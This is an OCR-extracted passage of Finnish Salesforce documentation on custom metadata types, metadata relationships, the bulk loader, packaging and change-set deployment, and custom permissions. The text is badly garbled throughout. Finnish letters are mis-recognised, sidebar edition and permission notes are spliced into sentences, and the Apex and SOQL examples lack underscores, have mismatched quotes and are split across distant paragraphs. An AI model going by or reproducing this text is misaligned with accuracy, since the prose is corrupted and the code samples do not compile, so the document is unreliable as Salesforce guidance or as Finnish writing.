Voit lisatd, muokata tai poistaa mukautetun metadatatietueen deklaratiivisesti Maaritykset-valikosta. EDITION-VERSIOT

1. Hae Maaritykset-valikosta Mukautetut metadata-tyypit.

Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

2. Napsauta Kaikki mukautetut metadata-tyypit -sivulta Hallitse tietueita sen mukautetun
metadatatyypin vierestd, jonka tietueita haluat lisatd tai muokata.

3. Napsauta mukautettujen metadatatietueiden luettelosta Uusi tai napsauta Muokkaa

muokataksesi olemassa olevaa mukautettua metadatatietuetta. Kayteftdvissd: Professional-,

Enterprise-, Performance-,
4. Tdytd kentdt. Suojattu komponentti -valintaruutu osoittaa, onko tietue suojattu. Suojattua Unlimited-, Developer- a

tietuetta voi kdyttda vain koodi, joka on samassa nimitilassa kuin tietue tai siihen liittyva Database.com-versioissa
mukautettu metadatatyyppi: luomasi koodi, ei-hallittavan paketissa oleva koodi ja koodi, joka

. . 4 i ) 4 _ Professional Edition
on samassa hallittavassa paketissa kuin suojattu tietue tai sen mukautettu metadatatyyppi.

-organisaatiot voivat luoda,
5. Napsauta Tallenna. muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

KAYTTJAOIKEUDET

Mukautettujen

metadatatietueiden

luominen tai

muokkaaminen:

e Sovelluksen
mukautusoikeus
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Mukautetut metadatasuhteet

Mukautetut metadata-suhteet tarjoavat enemman objekteja koskevaa metadataa ja sallivat sinun
vertailla erilaisia mukautettuja metadata-tyyppeja.

Aivan kuin muillakin Salesforce-suhteilla, my6s mukautetuilla metadata-suhteilla on tietty toimialue.
Kun luot metadata-suhdekenttda tyypille, voit liittad sen toiseen mukautettuun metadata-tyyppiin
tai EntityDefinition-objektiin.

Kun luot mukautettuun metadatatyyppiin tietuetta, jolla on suhdekenttd, voit valita objektin tai
mukautetun metadatatyypin, johon tietue liittyy.

EntityDefinition-domainin suhdekentdn arvo on mukautettu objekti tai vakio-objekti, joka:

e Tukee mukautettuja kenttid

e Tukee Apex-kaynnistimia

e Tukee mukautettuja asetteluita

e Fiole toimintotyyppinen, esimerkiksi Tehtdva tai Tapahtuma

e Fiole Kdyttdjd-objekti

e FEiole Trialforce-objekti, kuten SignupRequest

Jos haluat mdarittda EntityDefinition-objektin suhdekentdn uudeksi arvoksi, organisaatiollasi taytyy

Sovellusten integrointi Salesforcen kanssa

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissd: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

olla sen kdyttooikeus. Jos organisaatiollasi ei kuitenkaan ole nykyisten tietueiden suhdekenttaobjektien kdyttdoikeutta, voit silti muokata
tietuetta ja muuttaa sen muita kenttdarvoja. Organisaatiollasi ei ole tatd kdyttdoikeutta, jos tietue kuuluu esimerkiksi pakettiin, jolle sinulla

ei ole aktiivista lisenssid.

Mukautettujen metadata-suhdekenttien luominen

Voit luoda mukautettujen metadata-tyyppien tai entiteettien madritelmien valille suhteita samalla
tavalla kuin loisit mukautetun kentdn mukautettuun metadata-tyyppiin.

1. Napsauta mukautetun metadata-tyyppisi lisdtietosivun Mukautetut kentdt -osiosta Uusi.
2. Valitse kentdn tyypiksi Metadata-suhde.

3. Valitse mukautettu metadata-tyyppi, johon haluat aktiivisen tyypin liittyvan, tai valitse Entiteetin
madritelma liittddksesi sen tuettuun vakiomuotoiseen tai mukautettuun objektiin.

Sind valitset tarkan mukautetun metadatatietueen tai -objektin, kun luot tietueen mukautettuun
metadatatyyppiisi. Kun olet tallentanut tietueen, suhdekenttd ndytetdan linkkind sen mukautetun
metadatatyypin tai objektin Maaritykset-sivulle. Jos sinulla ei ole objektin tarkasteluoikeutta, kenttd
ndytetadn linkittomana tekstina.
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EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissd: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

KAYTTJAOIKEUDET

Mukautettujen

metadata-suhteiden

luominen:

e Sovelluksen
mukautusoikeus
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Mukautetuissa metadata-suhteissa huomioitavia asioita
Pidd seuraavat asiat mielessdsi ennen mukautettujen metadata-suhteiden kdyttamista.

e Voit kysella mukautettuja metadata-suhteita samalla tavalla kuin normaaleja suhteita.

e Julkisia mukautettuja metadata-tyyppeja ei voi liittda suojattuihin mukautettuihin
metadata-tyyppeihin. Suojattuja mukautettuja metadatatyyppejd voi liittaa julkisiin
mukautettuihin metadatatyyppeihin.

e Julkisia mukautettuja metadata-tietueita ei voi liittda suojattuihin mukautettuihin
metadata-tietueisiin. Suojattuja mukautettuja metadatatietueita voi liittaa julkisiin mukautettuihin
metadatatietueisiin.

e Jos kaytdt SOQL-kyselyd mukautettuun metadatatyyppiin, sen tulokset sisdltavat vain tietueet,
joiden viittaamien objektien kayttdoikeudet sinulla on. Samankaltainen kysely
Maaritykset-valikosta tai Metadata API:sta tehtynd palauttaa kuitenkin kaikki relevantit tietueet,
mukaan lukien tietueet, joiden viittaamien objektien kdyttdoikeuksia sinulla ei ole.

Kuvittele esimerkiksi mukautettu metadatatyyppi, jolla on EntityDefinition-objektiin linkittdva
suhdekenttd. Joissakin mukautetuissa metadatatietueissa suhdekenttd viittaa Liidi-objektiin.
Sinulla on mukautetun metadatatyypin ja sen tietueiden kdyttooikeus, mutta ei Liidi-objektin
kdyttooikeutta.. Maaritykset-valikosta tai Metadata APl:sta mukautetulle metadatatyypille tehdyn
kyselyn tulokset sisaltdvat tietueita, jotka viittaavat Liidi-objektiin. Jos kuitenkin kdytat
samankaltaisia SOQL-kyselyd Apex-koodissasi, sen tulokset eivat sisalld naita tietueita.

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissd: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

Tama eroavaisuus sallii sinun hallita mukautetun metadatatyypin tietuetta ilman sen viittaaman objektin kdyttdoikeutta.

e FEtvoiasentaa pakettia, joka sisaltad mukautetun metadatatyypin tietueita, joiden suhdekentat viittaavat objekteihin, joita organisaatiosi

ei voi kayttad. Asennuksen virheviesti sisdltad luettelon objekteista, joiden kdyttdoikeudet tarvitset.

e Voit asentaa paketin, joka sisaltda mukautettuja objekteja, joille sinulla ei ole aktiivista kayttdoikeutta. Niiden tietueita ei kuitenkaan

ndyteta SOQL-kyselyissa kayttdjille ennen kuin hankit objekteille lisenssin.

e Jossinulla ei ole oikeutta tarkastella objektia Madritykset-valikossa, objektiin viittaavat suhdekenttien arvot ndytetdan pelkkana

teksting, eikd linkkeina.

Metadatasuhteiden kenttien nakyman suodattaminen

Kun luot ndkyman ja suodatat sen mukautetun metadatatyypin suhdekentdn perusteella, noudata
nditd ohjeita syottaessdsi suodatinarvoja.

Médritykset-valikko ei tarjoa hakuikkunaa, koska arvojen luettelo saattaa olla pitkd ja kompel. Kaytd
seuraavia ohjeita madrittaaksesi syotettdvat arvot, kun lisdat ehtoja Suodata lisdkenttien mukaan
-0siossa.

Suodata EntityDefinition-suhdekentén perusteella 16ytaaksesi tietueet, jotka viittaavat
tiettyyn objektiin

1. Valitse alitason metadatasuhteen kentta.
2. Valitse operaattori.

3. Syotd suodatinarvoksi viitatun objektin objektinimi. Loydat mukautetun objektin
objektinimen sen hallintasivulta Madritykset-valikosta. Jos kyseessa on vakio-objekti, kdyta
sen APl-nimea.

Suodata suhdekentan perusteella loytadksesi tietueet, jotka viittaavat toisen mukautetun
metadatatyypin tietueeseen

1. Valitse alitason metadatasuhteen kentta.
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Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissd: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.



Paranna Salesforcea koodilla Sovellusten integrointi Salesforcen kanssa

2. Valitse operaattori.

3. Syotd suodatinarvoksi ylatason tietueen mukautetun metadatatyypin nimi. Léydat mukautetun metadatatyypin nimen sen
lisdtietosivulta.

Tietueiden lataaminen tai pdivittdminen mukautetun metadatan lataajalla

Kdytd mukautetun metadatan lataajaa joukkoladataksesi tai -pdivittaaksesi mukautettujen
metadatatyyppiesi tietueita . csv-tiedostosta.

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa ja Lightning

Mukautetun metadatan lataaja sallii sinun ladata tai péivittad 200 tietuetta yhdelld pyynnolla.

1. Lataa tydkalu GitHubista ja ota paketti kdyttodn organisaatiossasi Workbenchin kautta. Luo

. zip-tiedosto custom md_loader-hakemiston sisdllostd sen sijaan, ettd zip-pakkaisit
itse hakemiston.

Luo . csv-tiedosto, jonka header sisdltdd mukautetun metadata-tyypin kenttien API-nimet.
Otsikko- tai Kehitysnimi-kentta on pakollinen. Latauksesi sisaltda

sample. csv-esimerkkitiedoston. Jos organisaatiollasi on nimitila, lisda sen etuliite
header-tietoihin. Jos haluat pdivittdd olemassa olevan mukautetun metadatatietueen, kdyta
Otsikko- tai Kehitysnimi-kenttdd tunnistaaksesi sen.

Mydnnad mukautetun metadatan lataajan kadyttoikeus Madritykset-valikosta asianmukaisille
kdyttdjille, mukaan lukien itsellesi.

. Valitse sovelluskdynnistimesta Custom Metadata Loader.

Napsauta Custom Metadata Loader -vililehted. Sovellus kehottaa sinua maarittdmaan
etdsivustosi asetukset, jos et ole jo tehnyt niin.

Lataa . csv-tiedostosi palvelimelle ja valitse sitd vastaava mukautettu metadatatyyppi.

Napsauta Create/Update custom metadata (Luo/pdivita mukautettu metadata)
joukkoladataksesi tietueita . csv-tiedostosta tai paivittaaksesi nykyisia tietueita. Jos tiedoston
Otsikko- ja Kehitysnimi-kentdt ovat identtisia, viimeisimmasta merkinndsta tulee uusi tai paivitetty
tietue.
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Experiencessa

Kayteftavissa: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

KAYTTJAOIKEUDET

Mukautettujen objektien

tietueiden luominen:

e Sovelluksen
mukautusoikeus

Mukautetun metadatan

lataajan kdyttdminen:

* Mukautetun metadatan
lataajan kayttooikeus
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Mukautettujen metadatatietueiden kayttdminen ohjelmallisesti

Kaytd SOQL-kieltd mukautettujen metadatatyyppiesi kayttamiseksi ja niiden tietueiden API-nimien EDITION-VERSIOT
noutamiseksi. DML-operaatioita ei voi suorittaa mukautetulle metadatalle Apexissa, Partner APl:ssa
tai Enterprise API:ssa.

Kéytettdvissd: Salesforce
Lisatietoja sObject-objektista Custom Metadata Type__mdton Object Referencefor Salesforce Classicissa ja Lightning

and Force.com -viiteoppaan osiossa Custom Metadata Type__ mdt. Experiencessa
Seuraava esimerkki esittelee Apex-muuttujan custMeta, jonka mukautettu metadatatyyppi on Kaytettavissa: Professional-,
MyCustomMetadataType mdt, joka on nimitilassasi seuraavasti. Enterprise-, Performance-,

Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

MyCustomMetadataType mdt custMeta;

Esittele custMe ta-muuttuja mukautetulle metadatatyypille TheirCustomMetadataType mdt,joka eiole nimitilassasi,
mutta on nimitilassa their ns.

their ns TheirCustomMetadataType mdt custMeta;

Alla on esimerkki yksinkertaisesti kyselystd, joka palauttaa vakiomuotoisia ja mukautettuja kenttia mukautetun metadatatyypin
Threat Tier Mapping kaikista tietueista ja kdyttad joitakin ndistd kentista.

Threat Tier Mapping mdt[] threatMappings = [SELECT MasterLabel, QualifiedApiName,
Field Mapping ¢ ,Minimum Support Level c¢ FROM Threat Tier Mapping mdt];

for (Threat Tier Mapping mdt threatMapping : threatMappings) {

System.debug (threatMapping.MasterLabel + ‘: ' +
threatMapping.Field Mapping c¢ + ' from ' +
threatMapping.Team Building to SFA Field Mapping c¢ + ' to ‘!
threatMapping.Minimum Support Level c);

}

Jos haluat tarjota entiteetin, jonka muoto on Schema.SObjectDescribeResult eikd SOQL, laita Apex-luokka
vacations.ThreatTierMappingDescribeResult enkapsuloimaan metadatatyypistd

vacations ThreatTierMappingDescribeResult mdt haetuttiedot Luosittenluokka vacations.Vacations
tallaisilla metodeilla:

vacations.ThreatTierMappingDescribeResult describeThreatTierMappings (String qualifiedApiName)
{
Threat Tier Mapping mdt threatMapping = [SELECT <fields> FROM Threat Tier Mapping mdt
WHERE QualifiedApiName = :qualifiedApiName];
return new ThreatTierMappingDescribeResult (<fieldValues>);

}

Ylld olevassa esimerkisséd <fields> viittaa describe-metodiin sisallytettaviin kenttiin ja <fieldvalues> viittaa niiden arvoihin.
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Seuraava esimerkki kayttad metadatasuhdetta, joka viittaa toiseen metadatatyyppiin

Sovellusten integrointi Salesforcen kanssa

Team Building to SFA Field Mapping mdt tehddkseen yksinkertaisen oikean ulomman liitoksen.

ThreatTierMapping threatMapping =

[SELECT MasterLabel, Team Building to SFA Field Mapping r.MasterLabel FROM

Threat Tier Mapping mdt WHERE QualifiedApiName=‘Easy Vacations’];

System.debug (threatMapping.MasterLabel +
Team Building to SFA Field Mapping r.MasterLabel);

‘'is part of ‘' +

Seuraava esimerkki ndyttad vasemman ulomman liitoksen, jonka aloituspisteon EntityDefinition.Tamakysely kdyttad suhdekenttad
Team Building Object c metadatatyypissd Team Building to SFA Field Mapping mdt.Tdmdnsuhdekentdn

alitason suhteen nimion Field Mappings From.

for (EntityDefinition entity allObjects) {

System.debug (‘Processing mappings for:
for (Team Building to SFA Field Mapping mdt fieldMapping

System.debug (1

‘' has mapping ' + fieldMapping.QualifiedApiName) ;

Mukautettujen metadatatyyppien ja -tietueiden pakkaaminen

Voit pakata mukautettuja metadatatyyppejd ja -tietueita ei-hallittaviin paketteihin, hallittaviin
paketteihin ja hallittavien pakettien lisdosiin. Pakettisi voidaan asentaa Professional Edition-, Developer
Edition-, Enterprise Edition-, Performance Edition-, Unlimited Edition- ja Database.com Edition
-versioihin.

Voit lisdtd mukautettuja metadatatyyppeja ja -tietueita paketteihin Force.com-kayttoliittymasta.
Kirjoita Mdaritykset-valikon Pikahaku-kenttddn Paketit, valitse Paketit, napsauta pakettisi
nimed ja napsauta sitten Lisaa.

Mukautettujen metadatatyyppien lisadminen:

1. Valitse komponentin tyypiksi Mukautettu metadatatyyppi.

2. Valitse mukautettu metadatatyyppi, jonka haluat lisata pakettiisi.
3. Napsauta Lisda pakettiin.

Mukautettujen metadatatietueiden lisddminen:

1. Valitse mukautetun metadatatyypin otsikko kdytettavissd olevista komponenteista — esimerkiksi
Threat Tier,taijos tyyppion lisdosapaketista, Threat Tier [vacations].

2. Valitse tietueet, jotka haluat lisata.
3. Napsauta Lisaa pakettiin.
Jos lisdat tietueen pakettiisi, myds sen tyyppi lisdtdan automaattisesti.

Lisatietoja pakkaamisesta ja asentamisesta on /SVforce Guide -oppaassa.

Field ' + fieldMapping.Team Building Field c¢ +

‘' '+ entity.QualifiedApiName) ;
: entity.FieldMappingsFrom r)

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissa: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

@ Nofe: Etvoi poistaa mukautetun metadatatyypin sisdltdvan paketin asennusta, jos olet luonut tietueita kyseiselld metadatatyypilld.
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Voit myos lisdta pakettiin mukautettuja metadatatyyppejd ja -tietueita muiden pakattavissa olevien metadatakomponenttien tavoin
mddrittamalld paketin koko nimen package . xm1-tiedostoon. Tdssa esimerkissa maaritdmme paketin tdssé Relaxation Gauntlet -yhtion
package . xml-tiedoston osassa.

<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">
<fullName>Relaxation Gauntlet</fullName>

Kayttdoikeussddnnét mukautettuja metadatatyyppejd ja -tietueita pakattaessa

Kun kehitat hallittavan paketin, joka sisdltad tai lukee mukautettuja metadatatyyppejd ja -tietueita, EDITION-VERSIOT
ota kayttooikeussdaannot huomioon.

Pakkaamisen kayttdoikeussdannot madrittavat, mitkd organisaatiot voivat lukea, pdivittda tai poistaa Kéytettavissa: Salesforce
mukautettuja metadatatietueita. Mukautetut metadatatyypit ovat oletetusti julkisia. Classicissa ja Lightning
. - N s s . Experiencessa
e Paketin kehittdva organisaation padkayttdja voi luoda omaan pakettiinsa mukautetun
metadatatietueen riippumatta sen vastaavan tyypin sijainnista. Jos han lisaa pakettiin uuden Kaytettavissa: Professional-,
tietueen, se otetaan kdyttoon tilaajaorganisaatiossa. Enterprise-, Performance-,

Unlimited-, Developer- ja

e Kukaan ei voi luoda mukautettua metadatatyyppid asennettuun hallittavaan pakettiin Metadata -
Database.com-versioissa

API:n avulla. Voit kuitenkin luoda pakkaamattoman tietueen Metadata API -kutsulla, myos
hallittavasta koodista. Hallittava asennettu koodi tarvitsee méaritetyn etdsivustoasetuksen Professional Edition
suorittaakseen kaikki kutsut. -organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

e Jos mukautetun metadatatyypin kentta on pdivitettdvissd, tietueen luoja voi muuttaa tietueen
kenttaarvoa omassa organisaatiossaan tai ladata paketista uuden version palvelimelle, vaikka
toinen organisaatio olisikin luonut tyypin. Jos tietue kuuluu hallittavaan pakettiin, sen muutokset
kopioidaan tilaajaorganisaatioon, kun han pdivittaa uuteen versioon.

e Joskenttd on tilaajan ohjaama, tietueen luoja ja tilaaja voivat molemmat muuttaa arvoa omissa
organisaatioissaan. Jos tietue kuuluu hallittavaan pakettiin, uusi kenttaarvo kopioidaan vain
uusille paketin tilaajille. Nykyiset tilaajat, jotka pdivittdvdt paketin uusimpaan versioon, eivét saa uutta kenttaarvoa.

e \Voit poistaa suojattuja, hallittavia julkaistuja tietueita organisaatiossa, jossa ne luotiin, vaikka niitd vastaava tyyppi olisikin luotu toisessa
organisaatiossa. Kun tilaajat paivittavat, tietueet poistetaan tilaajaorganisaatiosta. Et voi koskaan poistaa julkisia, hallittavia julkaistuja
tietueita.

e Apex-koodisi SOQL-kyselyt voivat tarkastella mukautettuja metadatatietueita vain, jos vain yksi seuraavista ehdoista on tosi.
— Tietueet ovat julkisia.
- Apex-koodisi on samassa paketissa kuin mukautettu metadatatyyppi.
-~ Apex-koodisi on samassa paketissa kuin tietue.
e Metadata API-callout-kutsut kdyttaytyvat kuin ne suoritettaisiin tilaajaorganisaation koodilla. Tasta johtuen callout-kutsu voi tarkastella

ja muuttaa kaikkia tilaajaorganisaation luomia tietueita, vaikka se voi tarkastella tai muuttaa vain asennettujen hallittavien pakettien
julkisia tietueita. Madritd etdsivustoasetus tilaajan Metadata APl -pdatepisteeseen kayttdaksesi Metadata APl:a tilaajan organisaatiossa.
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Mukautettujen metadatatyyppien paketeissa huomioitavia asioita
Ota huomioon mukautettuja metadatatyyppeja sisaltdvia paketteja koskevat kdytannot.

Kun olet ladannut palvelimelle hallittavan/julkaistun paketin, joka sisaltda mukautetun
metadatatyyppisi, et voi:

e lisdta pakollisia kenttia mukautettuun metadatatyyppiin.
® muuttaa valinnaisia kenttid pakollisiksi.

e poistaa mukautettuja kenttid, jotka on ladattu palvelimelle paketin versiossa. Jos lisdat

mukautetun kentan palvelimelle lataamisen jalkeen, voit poistaa sen, kunnes lataat uuden

hallittavan/julkaistun version.

e poistaa pakettiin sisaltyvid julkisia mukautettuja metadatatietueita.

e muuttaa julkista mukautettua metadatatietuetta tai -tyyppid suojatuksi. Voit kuitenkin muuttaa

suojatut tietueet ja tyypit julkisiksi.
® muuttaa paketin minkdan mukautetun kentén hallittavuutta.

e kyselld suojattuja mukautettuja metadatatyyppeja tai -tietueita asennetusta paketista

kirjoittamallasi Apex-koodilla. Voit kuitenkin voivat suorittaa pakatun Apex-koodin, joka kyselee

suojattuja mukautettuja metadatatyyppeja tai -tietueita samasta paketista. Namd kyselyt
palauttavat suojatut tietueet.

Sovellusten integrointi Salesforcen kanssa

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissd: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

Mukautettujen metadatatyyppien ja -tietueiden kayttédnotto tuotanto-organisaatioihin

muutosjoukoilla

Kayta muutosjoukkoja ottaaksesi mukautettuja metadatatyyppejd ja -tietueita kayttoon sandboxista

toiseen organisaatioon. Tavallisesti otat muutosjoukon kayttéon tuotanto-organisaatioon.

Voit lisatd mukautettuja metadatatyyppejd ja -tietueita muutosjoukkoihin Force.com-kayttoliittymasta.
Kirjoita Maddritykset-valikon Pikahaku-kenttddn Ldhtevdt muutosjoukot,valitse Lahtevat

muutosjoukot, napsauta muutosjoukkosi nimea ja napsauta sitten Lisaa.
Mukautettujen metadatatyyppien lisadminen:
1. Valitse komponentin tyypiksi Mukautettu metadatatyyppi.

. Valitse mukautettu metadatatyyppi, jonka haluat lisata lahtevaan muutosjoukkoosi.

2
3. Napsauta Lisaa muutosjoukkoon.
4

. Jos haluat nahda riippuvaiset komponentit, kuten mukautetun kentan tai sivuasettelun, napsauta

Tarkastele/lisaa riippuvuuksia.
5. Valitse riippuvaiset komponentit, jotka haluat lisata.
6. Napsauta Lisda muutosjoukkoon.
Mukautettujen metadatatietueiden lisddminen:

1. Valitse kdytettavissd olevista komponenttityypeistd mukautetun metadatatyypin otsikko,

EDITION-VERSIOT

Kéytettavissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissa: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

esimerkiksi Threat Tier.Jos tyyppion lisdosapaketista, kdytd muotoa Threat Tier [vacations].

2. Valitse tietueet, jotka haluat lisata.

3. Napsauta Lisaa muutosjoukkoon.

Jos lisdat tietueen muutosjoukkoon, sen tyyppi sisallytetadn sidonnaisten komponenttien luetteloon. Tietuetta itsessaan ei lisata

muutosjoukkoon.

Lisatietoja muutosjoukkojen kayttéonotosta on Development Lifecycle Guide -oppaassa.
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Mukautetut kdyttéoikeudet

Mukautetut kayttooikeudet

Kdytd mukautettuja kdyttdoikeuksia myodntadksesi kayttdjille padsyn mukautettuihin prosesseihin
tai sovelluksiin.

Monet Salesforce-ominaisuudet vaativat kayttoikeustarkistuksia madrittadkseen kayttdjat, jotka
voivat kdyttda tiettyja toimintoja. Kayttéoikeusjoukkojen ja profiilien asetukset sisaltavat
sisdanrakennettuja kayttooikeusasetuksia useille yksikdille, kuten objektit, kentét, vélilehdet ja
Visualforce-sivut. Kayttooikeusjoukot ja profiilit eivdt kuitenkaan sisalld kdyttdoikeuksia joihinkin
mukautettuihin prosesseihin ja sovelluksiin. Esimerkiksi loma-aikojen hallintasovellus saattaa vaatia,
ettd kaikki kdyttdjat pystyvat ldhettdmaan lomapyyntdjd, mutta vain pieni osa kayttajistd voi hyvaksya
niitd. Tallaisessa tilanteessa voit kdyttdd mukautettuja kdyttdoikeuksia.

Mukautettujen kdyttooikeuksien avulla voit maarittaa kdyttooikeustarkistukset, jotka voidaan kohdistaa
kayttajille kayttdoikeusjoukkojen tai profiilien kautta kdyttdjéoikeuksien ja muiden
kdyttooikeusasetusten mukaisesti. Voit esimerkiksi laatia Apexissa kdyttooikeustarkistuksen, joka
ndyttad Visualforce-sivulla painikkeen vain, jos kayttdjalld on asiamukainen mukautettu kayttéoikeus.

Voit kyselld mukautettuja kdyttdoikeuksia seuraavin tavoin.

e Kayta Salesforce Object Query Language (SOQL) -kieltd ja sObject-objekteja SetupEntityAccess
ja CustomPermission mdarittdaksesi kdyttdjat, joilla on padsy tiettyyn mukautettuun
kdyttooikeuteen.

e Jos haluat tarkastaa mitkd mukautetut kayttdoikeudet kdyttdjilld on, kun he todentavat itsensa
yhdistetyssd sovelluksessa, viittaa kayttdjan Identiteetti-URL-osoitteeseen, jonka Salesforce
tarjoaa kdyttooikeusvaltuuden yhteydessa yhdistetylle sovellukselle.

KATSO MYOS:
Mukautettujen kayttooikeuksien luominen
Pakollisten mukautettujen kayttooikeuksien lissdminen tai poistaminen

Tunnus-URL-osoitteet

246

Sovellusten integrointi Salesforcen kanssa

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettdvissd: Group
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Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

Group Edition- ja
Professional Edition
-organisaatioissa et voi
luoda tai muokata
mukautettuja
kayttooikeuksia, mutta voit
asentaa niitd osana
hallittavaa pakettia.
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Mukautettujen kayttdoikeuksien luominen

Luo mukautettuja kdyttdoikeuksia mydntadksesi kayttajille pddsyn mukautettuihin prosesseihin tai EDITION-VERSIOT

sovelluksiin.
1. Kirjoita Madritykset-valikon Pikahaku-kenttdan Mukautetut kdyttdoikeudet ja Kaytettavissa: Salesforce
valitse Mukautetut kayttooikeudet. Classicissa ja Lightning

. . Experiencessa
2. Valitse Uusi. P

Kdaytettdvissd: Group

3. Syotad kdyttdoikeuden tiedot:
Edition-, Professional

* Otsikko — Kdyttdoikeuden otsikko, joka ndytetddn kdyttdoikeusjoukoissa Edifion-, Enterprise Edifion-
e Nimi — APIn ja hallittavien pakettien kdyttama yksiléllinen nimi. Performance Edition-,
Unlimited Edition- ja

® Kuvaus — (Valinnainen) Kuvaus, joka selittad mihin toimintoon kayttooikeus sallii padsyn,

esimerkiksi "Lomapyyntéjen hyvaksyminen". Developer Edition

-versioissa

®* Yhdistetty sovellus — (Valinnainen)Kayttdoikeuteen liittyvd yhdistetty sovellus o
Group Edition- ja

4. Napsauta Tallenna. Professional Edition
-organisaatioissa et voi
B, luoda tai muokata
KATSO MYOS mUkOUTeﬁUiG
Mukautetut kayttéoikeudet kayttooikeuksia, mutta voit
asentaa niitd osana
hallittavaa pakettia.

KAYTTJAOIKEUDET

Mukautettujen

kayttooikeuksien luominen:

*  Mukautettujen
kayttooikeuksien
hallintaoikeus
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Mukautettujen kayttdoikeuksien muokkaaminen

Muokkaa mukautettuja kayttdoikeuksia, jotka myontdvdt kayttajille padsyn mukautettuihin EDITION-VERSIOT
prosesseihin tai sovelluksiin.
1. Kirjoita Madritykset-valikon Pikahaku-kenttdan Mukautetut kdyttdoikeudet ja Kaytettavissa: Salesforce
valitse Mukautetut kayttooikeudet. Classicissa ja Lightning
Experiencessa

2. Napsauta muutettavan kdyttéoikeuden vieresta Muokkaa.

Kdaytettdvissd: Group

3. Muokkaa kayttooikeuden tietoja tarvittaessa. ! .
Edition-, Professional

* Otsikko — Kdyttdoikeuden otsikko, joka ndytetddn kdyttdoikeusjoukoissa Edifion-, Enterprise Edifion-
e Nimi — APIn ja hallittavien pakettien kdyttama yksiléllinen nimi. Performance Edition-,
Unlimited Edition- ja

® Kuvaus — (Valinnainen) Kuvaus, joka selittad mihin toimintoon kayttooikeus sallii padsyn,

esimerkiksi "Lomapyyntéjen hyvaksyminen". Developer Edition

-versioissa

®* Yhdistetty sovellus — (Valinnainen)Kayttdoikeuteen liittyvd yhdistetty sovellus o
Group Edition- ja

4. Napsauta Tallenna. Professional Edition
-organisaatioissa et voi
B, luoda tai muokata
KATSO MYOS: mukautettuja
Mukautetut kayttéoikeudet kayttooikeuksia, mutta voit
asentaa niitd osana
hallittavaa pakettia.

KAYTTJAOIKEUDET

Mukautettujen

kayttooikeuksien

muokkaaminen:

*  Mukauteftujen
kayttooikeuksien
hallintacikeus
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Pakollisten mukautettujen kayttdoikeuksien lisdéminen tai poistaminen

Pakollinen mukautettu kayttdoikeus on mukautettu kdyttdoikeus, jonka taytyy olla kaytdssa, kun

sen yldtason mukautettu kayttooikeus on kaytossa. Jos sinulla olisi esimerkiksi mukautettu "Hyvaksy

lomapyyntojd" -kdyttoikeus, voisit madrittad, ettd se vaatii mukautetun "Ldhetd lomapyyntéja"
-kadyttdoikeuden.

1.

Kirjoita Maaritykset-valikon Pikahaku-kenttddn Mukautetut kdyttdoikeudet ja
valitse Mukautetut kayttooikeudet.

Luo uusi kayttooikeus tai valitse olemassa oleva kayttooikeus.

3. Napsauta Pakolliset mukautetut kayttdoikeudet -viiteluettelosta Muokkaa.

Valitse Kaytettdvissa olevat mukautetut kdyttooikeudet -luetteloon lisdttavat mukautetut
kayttooikeudet ja napsauta Lisaa tai valitse Pakolliset mukautetut kdyttdoikeudet -luettelosta
poistettavat mukautetut kdyttdoikeudet ja napsauta Poista.

Napsauta Tallenna.

KATSO MYOS:

Mukautetut kayttéoikeudet

Virheenkorjaus

Koodin virheenkorjaus

Tamad osio sisaltad tietoja kirjoittamasi koodin virheenkorjauksesta.

Tarkastuspisteet-valilehti

Tarkastuspisteiden tarkastusohjelma

Lokit-vdlilehti

Lokien tarkastusohjelma

Esimerkkeja lokin tarkastusohjelman kdyttdmisesta

Virheenkorjauslokien kdyttaminen

Virheenkorjaus Developer-konsolin avulla

